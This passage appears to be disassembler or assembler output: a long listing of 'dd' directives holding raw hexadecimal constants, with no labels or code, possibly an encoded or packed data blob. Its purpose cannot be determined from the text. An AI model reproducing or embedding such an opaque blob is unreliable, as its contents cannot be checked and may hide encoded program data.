779DB8D6h dd 4FAADFF7h, 2BB6E0F0h, 93F81BBAh, 0D8A121E4h, 0CAA807AFh dd 0A8C87FA9h, 11CEC7C5h, 2C9FAE96h, 17D7D89Ch, 6F94FFC1h dd 0F8690ACAh, 0F62D786Bh, 97784773h, 0EF647A7Bh, 5738D83Fh dd 3E63A13Dh, 4849DC50h, 6F1CA704h, 8B071F43h, 0B646385Fh dd 0CA4A5C41h, 0F7382617h, 116EC731h, 2C3FAE36h, 1777D83Ch dd 6F34FF61h, 0CB1C006Ah, 0B34E3B14h, 0B81B415Eh, 0EA062719h dd 48529F03h, 3158E75Bh, 4FF5CDFCh, 34A9FBEAh, 8CFE1CBBh dd 0B2BE2CA4h, 0CDE64FEBh, 0E88878E8h, 17D098D8h, 5BD9A29Ch dd 49C084C7h, 2B90FCC1h, 92E6449Dh, 0AFB72DBEh, 94EF5BA4h dd 0ECBC7CF9h, 7BAF82E2h, 3AAAB9ADh, 55929A8Ch, 3597FB8Bh dd 94E9059Dh, 0B49D26C5h, 82D51897h, 0FF7234C9h, 0F65837Ah dd 7438F162h, 157ADC7Fh, 6867BE0Eh, 90520135h, 0F55B7F51h dd 0D4354559h, 0F4596619h, 4211D85Bh, 3F4EF40Dh, 4F29C33Eh dd 347CB12Eh, 0D53E1C23h, 0B0243E26h, 0DF2B1D29h, 0F51F6074h dd 1518C51Fh, 3658A472h, 81AC41Ah, 244CB25Eh, 92FF0F0Dh dd 0E0EF3EEEh, 0CDE205BFh, 0ADE324E1h, 14E287FFh, 29EBBDF0h dd 0E8EC4DCh, 34C5EDBEh, 95A904DDh, 0B5DD2785h, 839519D7h dd 0FEB23589h, 0EA582BAh, 75F8F0A2h, 14BADDBFh, 71B6E1A6h dd 0C8C80EB1h, 0A99C24C9h, 0BA9B43DEh, 0E8862599h, 4AD29D83h dd 33D8E5DBh, 4E75CC7Ch, 3529FA6Ah, 8D7E1D3Bh, 0B17A2124h dd 0CF775E75h, 0FF557E75h, 1552C448h, 3308E55Fh, 4E45CC4Ch dd 3519FA5Ah, 8D2E1D0Bh, 0B12A2174h, 0CF275E25h, 0FF257E25h dd 1428C438h, 6568A542h, 0A31BCE11h, 7CEA13E7h, 9C0F0C12h dd 0BC092C0Ch, 0DC034C06h dd 0FBFD6C00h, 1BF78BFAh, 3BF1ABF4h, 5BEBCBEEh, 7BE5EBE8h dd 9BDF0BE2h, 0BBD92BDCh, 0DBD34BD6h, 0FBCD6BD0h, 1BC78BCAh dd 3BC1ABC4h, 5BBBCBBEh, 7BB5EBB8h, 9BAF0BB2h, 0BBA92BACh dd 0DBA34BA6h, 0FB9D6BA0h, 1B978B9Ah, 3B91AB94h, 5B8BCB8Eh dd 7B85EB88h, 9B7F0B82h, 0BB792B7Ch, 0DB734B76h, 0FB6D6B70h dd 1B678B6Ah, 3B61AB64h, 5B5BCB5Eh, 7B55EB58h, 9B4F0B52h dd 0BB492B4Ch, 0DB434B46h, 0FB3D6B40h, 1B378B3Ah, 3B31AB34h dd 5B2BCB2Eh, 7B25EB28h, 9B1F0B22h, 0BB192B1Ch, 0DB134B16h dd 0FB0D6B10h, 1B078B0Ah, 3B01AB04h, 5AFBCAFEh, 7AF5EAF8h dd 9AEF0AF2h, 0BAE92AECh, 0DAE34AE6h, 0FADD6AE0h, 1AD78ADAh dd 3AD1AAD4h, 5ACBCACEh, 7AC5EAC8h, 9ABF0AC2h, 0BAB92ABCh dd 0DAB34AB6h, 0FAAD6AB0h, 1AA78AAAh, 3AA1AAA4h, 5A9BCA9Eh dd 7A95EA98h, 9A8F0A92h, 0BA892A8Ch, 0DA834A86h, 0FA7D6A80h dd 1A778A7Ah, 3A71AA74h, 5A6BCA6Eh, 7A65EA68h, 9A5F0A62h dd 0BA592A5Ch, 0DA534A56h, 0FA4D6A50h, 1A478A4Ah, 3A41AA44h dd 5A3BCA3Eh, 7A35EA38h, 9A2F0A32h, 0BA292A2Ch, 0DA234A26h dd 0FA1D6A20h, 1A178A1Ah, 3A11AA14h, 5A0BCA0Eh, 7A05EA08h dd 99FF0A02h, 0B9F929FCh, 0D9F349F6h, 0F9ED69F0h, 19E789EAh dd 39E1A9E4h, 59DBC9DEh, 79D5E9D8h, 99CF09D2h, 0B9C929CCh dd 0D9C349C6h, 0F9BD69C0h, 19B789BAh, 39B1A9B4h, 59ABC9AEh dd 79A5E9A8h, 999F09A2h, 0B999299Ch, 0D9934996h, 0F98D6990h dd 1987898Ah, 3981A984h, 597BC97Eh, 7975E978h, 996F0972h dd 0B969296Ch, 0D9634966h, 0F95D6960h, 1957895Ah, 3951A954h dd 594BC94Eh, 7945E948h, 993F0942h, 0B939293Ch, 0D9334936h dd 0F92D6930h, 1927892Ah, 3921A924h, 591BC91Eh, 7915E918h dd 990F0912h, 0B909290Ch, 0D9034906h, 0F8FD6900h, 18F788FAh dd 38F1A8F4h, 58EBC8EEh, 78E5E8E8h, 98DF08E2h, 0B8D928DCh dd 0D8D348D6h, 0F8CD68D0h, 0E73888CAh, 6292573Bh, 0A8338CFAh dd 78F4DB9Fh, 98AF98B2h, 28F36553h, 0D8A34BA6h, 0D9915A0h dd 1868776Ah, 0C8641094h, 188AC92Ch, 758AEC89h, 6DA7019Eh dd 0A786268Ch, 6C7346CCh, 74CA579h, 0D52B89D2h, 5109FC45h dd 287BBBA1h, 0A32872Ah, 0B822F733h, 0D627492Fh, 0F8BC3C29h dd 8A1D0D22h, 0E717E64Fh, 7C11C65Dh, 350B9B61h, 1D4187D7h dd 9212050Ch, 0BC18D638h, 39FB2173h, 858B6031h, 0BA02FCB8h dd 1CB32010h, 1424C78Bh, 5F4772EFh, 25680587h, 0B79C4F91h dd 6573502Fh, 0CADFF2C0h, 45D51C58h, 43B9C4BDh, 0A9C6DBCFh dd 3295E270h, 96F307C2h, 0E5B9F8B8h, 6FF78A52h, 68AD87B5h dd 16ACA6A4h, 0C2A161A2h, 5631776Eh, 7646D79Bh, 0F77FF282h dd 9799258Dh, 0D7764572h, 2899678h, 0E4768480h, 0D6815277h dd 4B6F3D6Ch, 8470CD7Bh, 970E9761h, 421F27A7h, 0D7185FA6h dd 4F710350h, 165DDD47h, 6D460744h, 9326BA23h, 74C7FAB5h dd 303F1D06h, 993C9731h, 0AF467052h, 21ED9254h, 0F213755Bh dd 230C5B15h, 572BD2BEh, 132B070Ch, 0F78B6635h, 3103D609h dd 0D1064200h, 0FEFBD60Ch, 7EB446EAh, 9C84D485h, 574BD692h dd 722716D9h, 96D2F8A2h, 0C4E7D633h, 0B5AC2AA3h, 28BDC1C0h dd 0E2A4E0B2h, 1B9726B6h, 0E6E9C7AEh, 98889B5h, 9B2898Fh dd 9B489B1h, 0FB5C46BBh, 0DB624B4Fh, 2B88AB75h, 0BAE9B9Bh dd 197BFB41h, 1948B945h, 1952794Fh, 1954B951h, 0D65EF95Bh dd 0CB825BAFh, 2BA8BBB5h, 7B4EEB5Bh, 1B748B61h, 2908A948h dd 0E972690Fh, 2974A971h, 697EE97Bh, 0BBE2667Dh, 5BC8CBF5h dd 6B2EEBDBh, 0B349B01h, 3915BB27h, 0F952594Fh, 39545951h dd 795ED95Bh, 0F5A0D95Dh, 4828D835h, 680EF81Bh, 38F4A8E1h dd 18DA88C7h, 0CAB24AE2h, 0CAB44AB1h, 4ABECABBh, 4AA0CABDh dd 780885A7h, 582EC81Bh, 28B4A841h, 89A98A7h, 0DAAF788Dh dd 0DAD47AD1h, 5ADE3ADBh, 5AE0FADDh, 15EA3AE7h, 484ED85Bh dd 2874B861h, 0F89A6887h, 184088ADh, 0EAF46A7Ch, 0AAFE2AFBh dd 6AE0EAFDh, 0AAEA2AE7h, 0B8AEA5E9h, 0D8B44881h, 0E85A68A7h dd 860984Dh, 0FA49B873h, 0BADE1ADBh, 7AA01ADDh, 0BAAA1AA7h dd 35AC1AA9h, 0C8F458E1h, 0E8DA78C7h, 3800A82Dh, 18268833h dd 8ABE0A16h, 8AA00ABDh, 8AAA0AA7h, 8AAC0AA9h, 0F934C453h dd 0D91A4927h, 29E0A90Dh, 9C699F3h, 9BE3F9D9h, 9B603B5Dh dd 9B6AFB67h, 9B6C3B69h, 54767B73h, 0C91A5907h, 2940B92Dh dd 79A6E9B3h, 198C8999h, 0AB602BB0h, 6B6AEB67h, 0AB6C2B69h dd 0EB566B53h, 0B95AE455h, 5960C94Dh, 6986E973h, 9AC9999h dd 0BB7DB9BFh, 7BAADBA7h, 0BBACDBA9h, 0FBB65BB3h, 74B85BB5h dd 4980D9ADh, 69A6F9B3h, 394CA959h, 1972897Fh, 4BAACB4Ah dd 4BACCBA9h, 0CBD64BD3h, 0CBD84BD5h, 79E004DFh, 59C6C9F3h dd 292CA9D9h, 932993Fh, 5B177925h, 5BECFBE9h, 0DBF6BBF3h dd 0DBF87BF5h, 0C702BBFFh, 4E26DE33h, 0C5F3A610h, 0B2C773B1h dd 52DFD6FAh, 23A0E9F4h, 0ADCB8284h, 7E6BE23Dh, 938229C2h dd 0B3D81FCCh, 0D3D2E99Eh, 85BD72A0h, 23183ABh, 221B37B4h dd 53BA61AEh, 0A5A5F210h, 696D03B3h, 0A267238Dh, 0D3DD4D96h dd 0B2277D90h, 13C6B38Ah, 7981E2B8h, 0F92DC33Fh, 3211E339h dd 932E7172h, 2B6962ECh, 7B63022Ch, 0B2E76321h, 0CB57925Bh dd 0DB64A315h, 12B1C30Fh, 310AF348h, 0C63F8242h, 0F939A208h dd 526543B7h, 0F3AC0130h, 13A6ED7Fh, 0A321225Ah, 0D2BBC39Fh dd 0F2A5B618h, 938EC312h, 5309A2DCh, 27564387h, 17FF6381h dd 12129AFAh, 0E7F147D8h, 1CEB27D0h, 4BEBE20Dh, 39DF4EE3h dd 0B20CCEDCh, 18D39708h, 66716205h, 12868317h, 0B6C17774h dd 4302D2FFh, 6264487Ch, 3EBFD30Ah, 6333327Dh, 309CEB6h dd 0E24CE2B0h, 61938BE8h, 0C8A582DFh, 7A74EAC5h, 72934198h dd 0BF03AB92h, 816C066Ch, 0EB63426Bh, 0D653724Dh, 124CC27Fh dd 222CE474h, 55C4D77Ah, 7F45E277h, 876B120Fh, 0B27BEDB5h dd 0C22EBD56h, 0C7B67764h, 832782DDh, 2715B249h, 0A12BFB57h dd 62A89D38h, 0AFA51706h, 72E0321Ch, 2BF3528Bh, 71E1E945h dd 0F90F7DE6h, 3A44290Dh, 5004017Dh, 0FAFDA471h, 2EE009BFh dd 636C3052h, 0C15B2092h, 0D989E69h, 98DBCC51h, 0DA2E5999h dd 0AD9E4ADCh, 0CEC4234Bh, 1A43544Bh, 0A302D9F9h, 9C38964Eh dd 0EFBEA54Ch, 0AFA89148h, 0F824A97Bh, 4142D5EAh, 73625F97h dd 81784C19h, 0C54B1A9Dh, 0D3684379h, 0B4F6A76Bh, 544C5E86h dd 347BD58Ch, 0AAB9444Dh, 61DDE41Dh, 1DB40589h, 3A991E6Fh dd 1D901CB3h, 0E1FD4B62h, 1FFD0B7h, 0CD545E14h, 41ECC12Eh dd 618809BBh, 0DC3FB7CEh, 58AACED0h, 0F174C827h, 4E1D9D5Dh dd 449C9A6Ch, 1311A21Ch, 1CB5BE01h, 4C4DA04h, 74DF120Ah dd 90D13047h, 60DE6C20h, 0CA8A7E3h, 0A6F6E40Ah, 0FEC0D8F5h dd 7DFB9FCEh, 0B72286ABh, 0B456F897h, 714AD881h, 28E31B3Ch dd 0F4367019h, 4BD5E02Fh, 12B4B0B4h, 406CC8BAh, 0A785F395h dd 561A0C29h, 0A06E75BEh, 0EDEC5192h, 0F08D6183h, 6CA3FEh dd 0BD952B73h, 0A83EE2B8h, 729AECF2h, 507CF1F2h, 38917544h dd 3B734C59h, 0DED68BC5h, 0EF453073h, 0CC142D40h, 0AF6BAA1Eh dd 3BB5F59Bh, 941F4762h, 70BC0077h, 177C34E9h, 0D0C58C75h dd 5DD80D2Ah, 0E449F1D4h, 0CF0BC077h, 65EAE072h, 0F52F4B0Ah dd 52F2A12Ch, 271324F9h dd 6C2F7BDAh, 86F59D85h, 2F9B67A1h, 5F948F86h, 3F099A65h dd 9F34FF88h, 0BA264E3Bh, 0EF0D2FB4h, 14320D2Ch, 2F8C8BDFh dd 2D2A9E74h, 6296C78Ch, 4EEAFB85h, 67C7E7C7h, 504E2FE6h dd 0EFE8DBB3h, 9A9D7C05h, 0CFA4809Eh, 1212EB7Fh, 2DD53176h dd 0CEA7AA98h, 0DF5F38EAh, 47BC2C08h, 0BD01F3Dh, 52589D41h dd 0F8E4365Bh, 0E983C359h, 5AD09C6Fh, 4F92DD34h, 0C86FEC00h dd 407BC86Ch, 7276D277h, 8520B071h, 1E10973Bh, 0D4355BB7h dd 7EEFAAD1h, 7ADADE42h, 0AF541DCEh, 21285FA4h, 4E038F21h dd 0EAF21BFCh, 0C9507F0Ah, 0F0FA6F81h, 0F7FB4101h, 5DE5BA79h dd 33620932h, 5DA9531Dh, 148584Dh, 258994Ah, 1FF23F97h dd 9CA7B2C1h, 32F3BFFh, 66C5B688h, 0A646BFA9h, 9ED13EF7h dd 0FE1ED6B4h, 67AD31B0h, 4EEA962Fh, 6F2E2327h, 0CA94BE71h dd 0A985BA17h, 74E04217h, 46A1E173h, 9DCA87A6h, 4DBD83C4h dd 83DC8D3Ah, 0A521DCD5h, 0FE433F3h, 0E40D3639h, 0AC6FC722h dd 6ACC95EBh, 5B687EF5h, 81381F25h, 0EEC2F35Eh, 0A3CCDFF8h dd 39E1FF72h, 4E7E5E08h, 0CF8D6BBFh, 20C7957Eh, 0E7CB6E64h dd 653B1DE9h, 4CC5C497h, 38534699h, 0FEB2B83h, 25883F5Ah dd 63DFB940h, 6ED912BDh, 281D619Ch, 10EEB5B4h, 80EF3CF4h dd 61E45470h, 0B58BA09Fh, 39F18DE2h, 0C773705Fh, 8DF96A9Dh dd 0AED33DD7h, 0DE7F5983h, 4CD2E8FBh, 9F6B977h, 0C6928D97h dd 3FCB50D9h, 0D8D8DE53h, 96650F74h, 0FDAA53C4h, 0D77BB597h dd 899696DAh, 0C3BF1D7h, 0E290EFFBh, 0F59E9501h, 0E780DB48h dd 0F2517593h, 8B2B5536h, 894D5D8Fh, 5D4619FBh, 8AC1430h dd 89C8AC2Ah, 3A138EA4h, 655A741Dh, 9DFE60BFh, 32147939h dd 6C918B9h, 1D6AF62Ch, 0C96C1453h, 8DC9988h, 0D476C9F8h dd 552D64CEh, 6F8AFD1Ch, 3AE30D62h, 5721188Bh, 417CA0E8h dd 61CAC314h, 29A3CF0Ah, 4CE73CCAh, 81277F3Dh, 0BC1812A8h dd 8B2D71D5h, 164E4DB0h, 0E7C509C0h, 3C79B629h, 2CFCF9BDh dd 835C5FB0h, 884E3DF3h, 0ADEB79EEh, 0CDEFD32Bh, 0CD63DF1Fh dd 93C27F96h, 0C79B1448h, 64AB2A10h, 7BB83799h, 7BCBEB3h dd 0C866F419h, 470C58FCh, 0A96E5035h, 4C53BAB6h, 0DC00A4BAh dd 2856353Ah, 950B8349h, 0CC757209h, 4AD9BD6Dh, 0A5FC2C46h dd 97726980h, 0AF27C73Bh, 0D350495Ah, 6C608C3Bh, 0DF0D92Bh dd 580F321Eh, 0BCF1DD7Eh, 32525B33h, 0D983BC72h, 3C2C6EBAh dd 4EE3FDEDh, 0B513FE38h, 2E7C9BADh, 66AA721Bh, 5AACE465h dd 42167E6Fh, 8D22A2A5h, 832A3E53h, 92396491h, 0B5DB9340h dd 687C42AAh, 9446CA99h, 22BDD93Fh, 0D1D32BE3h, 13BDEDD2h dd 1B791A83h, 1041FB94h, 0DCE85FDBh, 54C93386h, 0FFC5E2E5h dd 54690B46h, 23866F0Eh, 0A6F08A6Bh, 6E269379h, 0C5411A54h dd 0C57B032Fh, 0B621E555h, 0E30F9362h, 0EBA9FA50h, 50B73BD3h dd 52197F00h, 1BBC4A0Ah, 9FD4166Ah, 7BBACAFEh, 93149004h dd 914FA7CDh, 935FA5B6h, 0CB4B1B6Dh, 0BFDF1BAAh, 3A5A09D3h dd 0AB31D020h, 4B0F792Ch, 297FA6AAh, 0AA177342h, 54819F3Bh dd 6B247991h, 0DADD3B98h, 87F66582h, 69D2F69h, 7AA9EB5Eh dd 0EAE09ACDh, 866EED80h, 0EEFB2AACh, 48836894h, 0E51A0FBAh dd 48DDF83Fh, 38FB5Dh, 0F716392Ch, 65D65883h, 0BB46F29h dd 554B6DF7h, 4711BF1Fh, 6AA1A615h, 7B6F2A7Dh, 2E451BFCh dd 66AB9396h, 8E1724F8h, 0DBEE6F32h, 0C23B99E8h, 0FA29CA2Bh dd 6B1DDFEDh, 554B5A1Dh, 0EED24504h, 7E46315Ah, 87C88BC9h dd 0D8BEBAD7h, 0FAB8539Dh, 85D737BDh, 0AA1D2DB1h, 88FE38C5h dd 0B2D18A4Ch, 388C8BB3h, 927DB6DCh, 0AB4BCA58h, 528681E4h dd 0A27B6F9Ah, 0C9346A69h, 0E1A68EF2h, 5C64878Eh, 0E5E3D18Dh dd 197748C2h, 1FC19C0Ah, 0F9BAFEF5h, 0E3DF5165h, 405C4041h dd 0D9692E7h, 0E1A0C9B6h, 0CA7289C9h, 3B9032B4h, 0B6BBB827h dd 0C38A5138h, 89DE993Ah, 0C9755DE2h, 30B63D86h, 65846616h dd 0CDEB2A00h, 667AF9EDh, 767DBD3Ch, 4625E1FFh, 0D51B3602h dd 0FC92CD5Ah, 4B88A522h, 0C13318F1h, 4D098348h, 0EDC6C108h dd 0AE0AC1Dh, 9AB02D59h, 55291C00h, 3B10DBA4h, 54E0316Bh dd 0EDB0CAD3h, 0C90769AAh, 4DB38AD8h, 0E11CCB4Ah, 8371182Ch dd 8D932972h, 0AB7D3533h, 828501D6h, 5CFE16A5h, 0CA3A7FE2h dd 0EA34B167h, 8A60631Bh, 2562B982h, 0F894996Dh, 0AAAD8288h dd 8357545Ah, 7A705D41h, 0B78B57A4h, 0BC6BCDDh, 1332F8A8h dd 292F8C39h, 6976B53Dh, 0E0492820h, 0A92C3852h, 7AC1B8E3h dd 0CC3E0FAFh, 9F3111A9h, 586BBD19h, 40D8FCBCh, 88201835h dd 9AEFF9AFh, 3A1F098Bh, 52301C70h, 372B41CFh, 44C057C5h dd 88BB85E1h, 4C780156h, 830F0821h, 4ACA7170h, 1BC653ECh dd 8A95DADh, 97AE18E5h, 0AD752099h, 60FE6393h, 3DA2AA3Fh dd 0F8A299ADh, 0D94F8078h, 0BA12DDEAh, 4A477C59h, 44F6CD43h dd 0D60A6818h, 7E7CF94Ah, 0F68D4DDFh, 9B53DB43h, 67C12345h dd 0A5EB46AAh, 0CE504042h, 15FB5F8Ch, 3B65C66Ch, 0AB572267h dd 0E554534Ch, 4276525Ah, 21B3BD60h, 0C371791Eh, 0E0D7236Ch dd 6B612A2Bh, 0AB20102Ah, 47AC738Eh, 25B53754h, 9784A6BBh dd 0A563E407h, 4046220Fh, 855F89ACh, 0CAF0B895h, 462C76A7h dd 3AD2340Bh, 0D169B6B3h, 75E2BC43h, 63E3706Fh, 0DD96224Fh dd 87AAE2C4h, 81841691h, 4BA4DACCh, 0A6EDCC3h, 66617A9h dd 630672Bh, 267817D4h, 0C2EDF76Eh, 6AA3E6B5h, 56BE32Fh dd 0F5AC76C7h, 0C4E386A8h, 0D6BCF364h, 0BE8E7478h, 8E3F9EC2h dd 2EB9613Ah, 76E46947h, 226007B1h, 0A68245F2h, 2C41543Ch dd 0CB6ED43Eh, 0D66B0B42h, 110A84E3h, 26E67ABFh, 370CB6B1h dd 2227A555h, 4DA5176Dh, 977DF578h, 7255064Dh, 829DEBF6h dd 121F7080h, 831AF2B6h, 0A55272F1h, 97BAE4FAh, 0CD105D0Bh dd 272D5153h, 434BDB68h, 840346F3h, 47AB1488h, 0FEE6427Fh dd 0C5B03D24h, 669C9EDEh, 29F5C718h, 5B7F77D3h, 1E88439Fh dd 0F7191356h, 62BD31F6h, 8B7645B1h, 0A7B1BAD8h, 74C5717h dd 0E74F692h, 688FDC02h, 3069D688h, 6018B525h, 604087DFh dd 8B8CF7E7h, 0C0237C99h, 74DFDDAFh, 0EE189415h, 5418E083h dd 9561FFBBh, 265EB6AEh, 91DD4A31h, 506AF6D3h, 0ADE12E15h dd 5AF978FEh, 86505E21h, 0BEDFDE13h, 0B2CE5A76h, 24D5B03Dh dd 8496374Eh, 1D28A68h, 274A5596h, 7755B42Eh, 65FD3935h dd 0B7E7E583h, 5A0B48Eh, 0E5C45550h, 8D4C8DFCh, 0F46C3773h dd 0B2310CEEh, 4926F45Dh, 348F354Dh, 0F05D129Bh, 5589F274h dd 4F930666h, 6649172Fh, 1D332DB2h, 87D6747h, 17C88FAFh dd 8E1DE4D0h, 0F49F4D63h, 0EBCD0720h, 0C4D51B47h, 859D1255h dd 86242D74h, 144F94FEh, 0B410144Ch, 660D5E67h, 0D0CCFC8h dd 230D99F6h, 3497397Fh, 0B01E1EC0h, 0D4756C19h, 0D7BCB3C1h dd 332AAFD3h, 449EACE8h, 0C4372942h, 24D7BEDh, 0B0C33CE7h dd 0E6F83ECEh, 19B5E6A2h, 0F4CC09F6h, 0E9ECECFDh, 6C00839Ah dd 20FCE48Ah, 0B4B10019h, 265782h, 0D89D97B5h, 49A3F18Fh dd 180B8C82h, 875E1878h, 4B739954h, 600CE073h, 6803003Eh dd 0E4CEC562h, 0FB1DFCD4h, 0BA8C643Eh, 99B0E77Ch, 0B75B9C7Eh dd 4483ADEDh, 71B6222h, 0C6B21001h, 83478326h, 8CBCE158h dd 6E17845Ah, 34E37120h, 35E92CCDh, 545BD6D2h, 0B436F5AFh dd 83A9837Ch, 0E3A9AA17h dd 0E9C0BD11h, 0D849B0B7h, 0FBB41A87h, 307A9384h, 51D3B37Ch dd 24A5274h, 224CB942h, 0D3DB373Fh, 0D91D5A78h, 365074Bh dd 1A0132BEh, 7A4BB707h, 1146768h, 0C60A4FA3h, 1D149014h dd 0CC5C22C4h, 0B894D424h, 0BB2A0E3Ah, 2C9023A2h, 5709C90Dh dd 63850C98h, 112758Dh, 0DC2C986Ch, 7326BACEh, 0DA71D6FDh dd 8E378CBAh, 0AE302F29h, 0BBB3630Bh, 2444B118h, 0C1CE6372h dd 0C0F15EC7h, 3247F2C7h, 53129289h, 1255E6B1h, 0AF0112BEh dd 4A3B82F6h, 4634326Ah, 0F85331D2h, 0A1DDD95Ch, 0D002D2B7h dd 83DBC7E5h, 43AF0D9h, 0BFF1B625h, 4F70F285h, 0E9D4D586h dd 1766CEA3h, 0DC3B28E0h, 87D813C5h, 9C5E5D58h, 0D2854CFh dd 0A1C9C36Ah, 0D9C4F234h, 22BEB944h, 38F2AAAh, 5CBA33BBh dd 0AAE3109Eh, 0F2ADC2A0h, 0EA8BAB42h, 0A331E4F4h, 12BAE9A3h dd 7202A4DDh, 0C2F4CF17h, 57EFDBBFh, 0E2DFDC56h, 0A76AB01h dd 2AF27D5Ah, 0A131E93Ah, 62378A53h, 777E224Dh, 0CA4A0143h dd 92A53200h, 75BB629Ah, 90FF4854h, 57EBE9Ah, 237A5332h dd 4300E08Ch, 4E7E107h, 0DE39E7B9h, 19D9970Ch, 0C318A71Fh dd 991ED52Fh, 31C85AABh, 6B0F4D4h, 0CF809252h, 6124F1E6h dd 0A32879CAh, 5AD1C397h, 0E0F424F5h, 0F9E7157Dh, 318FCABAh dd 5F09A114h, 0C229ECFAh, 60EE6CC5h, 89DF84D3h, 34CBD8FEh dd 4FCEECB2h, 0DDB06AE1h, 5FC5414Ah, 17A41A0Fh, 79BEB29Fh dd 1C9CE158h, 0F2BE7FB7h, 0E1A492D6h, 0B5200066h, 0B2ADDDD1h dd 372649B8h, 742F18B5h, 5763A7Ch, 1F820E1h, 0C81D7A73h dd 95543A5Eh, 6D360309h, 765F6BEBh, 3B7FF4D3h, 207E1C85h dd 8C38827Ah, 0E876ED5Dh, 0F3EDED7h, 2AD95408h, 0C042BCBDh dd 471F3F0Bh, 94151E1Bh, 9520E038h, 97F2552Bh, 41F75134h dd 69E3D06Ah, 0A22B332Eh, 0AAB3C6D7h, 0E38679C0h, 4CD58FFFh dd 28A088E4h, 6396EBDDh, 2CF023B5h, 0EF7ED17Eh, 0A5DA6BEDh dd 28830184h, 0C46AA9E2h, 500B885h, 49E01FACh, 6120BDEFh dd 0ACC54066h, 1CCFE5B1h, 0EAA5F88Dh, 8A00738Dh, 0D2E6F1E1h dd 5F9472CFh, 7F189996h, 0A8B8AE8Ch, 0A46AF0D4h, 0D121B3FBh dd 0EC44930Bh, 0D9F6C254h, 1BAC1D76h, 425873A2h, 2FD9DD5Fh dd 0D85C6DD8h, 5BB18519h, 7BCA9014h, 1215A1h, 0F066647Bh dd 7F3D5060h, 0A17C03DAh, 59B3A504h, 9B50586Fh, 54B0E4C4h dd 532BFDA9h, 0E3D29A9Dh, 0DC55E2D5h, 61476069h, 0CEAC33C1h dd 0A40ED5D6h, 6DF91711h, 6671C0CAh, 24ED5710h, 4A6D00DEh dd 8EB1AED6h, 9BD8749Bh, 74C01DEBh, 0E4E0DDD9h, 0E8FA2E5h dd 0D60982CBh, 0AE5CC34Fh, 16757EE0h, 8012CD7Bh, 527FADE2h dd 74962B09h, 0EE097A9h, 3CAAFD3Eh, 0D599AA7h, 2D780C7Ah dd 0EEB85DCFh, 5CA2B427h, 8E4C1D00h, 0AB0DA692h, 0D840CBC2h dd 0F82E146Bh, 4E245F6Dh, 57FE82A0h, 0BD933D54h, 9D7B0DBEh dd 0CB938D53h, 0D78E04FAh, 92639647h, 273A906Ah, 7E9A276Ah dd 4D4D1D6Fh, 0B46A2D92h, 0BA08E363h, 0A4946EAEh, 0FFA7AB5Fh dd 0C35C0415h, 0BA945C21h, 1A80C0C1h, 5A334FB3h, 0EE98E89Ah dd 9C3DA790h, 0E36E49C9h, 0DF68F00Ah, 0FA40C190h, 1C94FD59h dd 3FFB7AD5h, 0A0F1AA30h, 0B0DC859Fh, 7C44ADA7h, 0BCEBC7E8h dd 0BCCF0D8Fh, 4F59E48Fh, 0B6CFE1A1h, 0A5F51931h, 0B487FEBFh dd 2096F91Ch, 8D92E493h, 0E175CD59h, 3F1361A4h, 1F4B4F05h dd 214DDAEEh, 0CCCBC1DCh, 54CB8613h, 0E65B06FCh, 8B41ABA1h dd 0DFA58C09h, 9ECB5E24h, 0FB3FCA9h, 2735CEB6h, 53787047h dd 5C68CA9h, 0FAF30341h, 55B04FAEh, 5449843Bh, 0B462786Bh dd 4E716165h, 0C8284639h, 6F238D4Ah, 405FAA99h, 0CF47325Eh dd 0FB887C69h, 0EC92EDC8h, 52CF3065h, 0EACC6AA7h, 3C2B2EDFh dd 1F29F113h, 7D401173h, 9D9A9DAAh, 7F398C5h, 0AA158F8Dh dd 33E6A2E8h, 2BD40694h, 426BAEDFh, 45A48935h, 21CBE889h dd 0B0DF3E8Ch, 0EDEF29E5h, 0FC5C89EDh, 80681D43h, 8E59E50h dd 734FF805h, 590EED6Ch, 333E94D7h, 5DC80FECh, 0CC92F17Bh dd 88DE0105h, 8011100Ch, 0F58ACC61h, 0B6283C03h, 87E8F11h dd 3464809Eh, 671C847Eh, 0FE44C614h, 98B65A44h, 0B2D17FE6h dd 6DD02D85h, 31EB5D0Bh, 0A858AE49h, 862D7813h, 6D280721h dd 0F902F908h, 0C48C0CABh, 2D6BED5Bh, 0A61D2C47h, 3C6BC8BFh dd 1D4E6F78h, 0F19561F0h, 1632E4Eh, 9EAAAF7Bh, 22566EBAh dd 0DE396FF8h, 6239DEF6h, 0F48E2853h, 908013CBh, 1B0FA94Bh dd 0B30959E9h, 4881C4E4h, 0A41D6817h, 67E5A00Ah, 0EE5D7964h dd 18D5D7F4h, 0EAC5CDF8h, 4967EE5Bh, 0E7E38F11h, 0D7EB2E4Fh dd 9CB3DAF6h, 71E2345Bh, 247026F9h, 0AF690C7Fh, 0B437CD08h dd 0D3DC7161h, 9E63E876h, 21DAAC4Bh, 0A07F5AC3h, 47994639h dd 88FF8367h, 0BF3A0633h, 29243BC2h, 731C6227h, 412C8092h dd 45D2D717h, 0ADEA3931h, 0F85806A4h, 0F2D5D999h, 3F0ACCAEh dd 673BCE32h, 93AE2466h, 69A4166Eh, 0B80CD812h, 9EEEF3B5h dd 4270022h, 5E68EDE7h, 0B6D9C16Ah, 0B8619E3Bh, 0ACECF346h dd 739B7C9Ch, 28384BE7h, 2BE14FF9h, 2403EDF4h, 0E6253F56h dd 0EA8F5801h, 0D06FE04Ah, 1D5B34E7h, 0E2DC1F17h, 0B5A04DD7h dd 0BD49CB89h, 40240F03h, 0F740F4A0h, 0FF2E48ECh, 0DB30AB60h dd 0E6FD867h, 6923F3C7h, 982D691Eh, 330D8325h, 454B5A85h dd 0D2708CA0h, 0DA5E20BAh, 755D659h, 0B9EF5A47h, 0F369BB79h dd 935A320h, 5F399E12h, 0E680A977h, 7AD99893h, 7D0FC1FCh dd 834079B2h, 681119A4h, 0B819DE16h, 0AF30CBD1h, 7BECF56h dd 2A579F2Bh, 0F6E7321Ch, 0EA392BBDh, 3854C6A5h, 2FEA43h dd 48CD1821h, 0B61177B6h, 0C5319ED0h, 0FEAF4AA0h, 3AA051AFh dd 770F3FAFh, 69A57480h, 6A5F3A72h, 97BE62AFh, 39A00D68h dd 0DEAEA664h, 0F636692Fh, 0ED21FC2Ah, 1F4BB156h, 0EA800B7Eh dd 0CA5F2B74h, 0F8C5CB80h, 0AE429E7h, 869775F3h, 560F731Eh dd 0A9F7EBA3h, 5BD0E2B3h, 0CBF7C21Dh, 2727E217h, 0F28202FCh dd 0CDDA7F6h, 0F5CFADECh, 1E4AE9DEh, 17939A4Ah, 7EE9854Eh dd 0AAEC9AE3h, 630DCB8Ah, 46D843FCh, 32EDEA27h, 0D9051F74h dd 0FDEBDAh, 6C213FDAh, 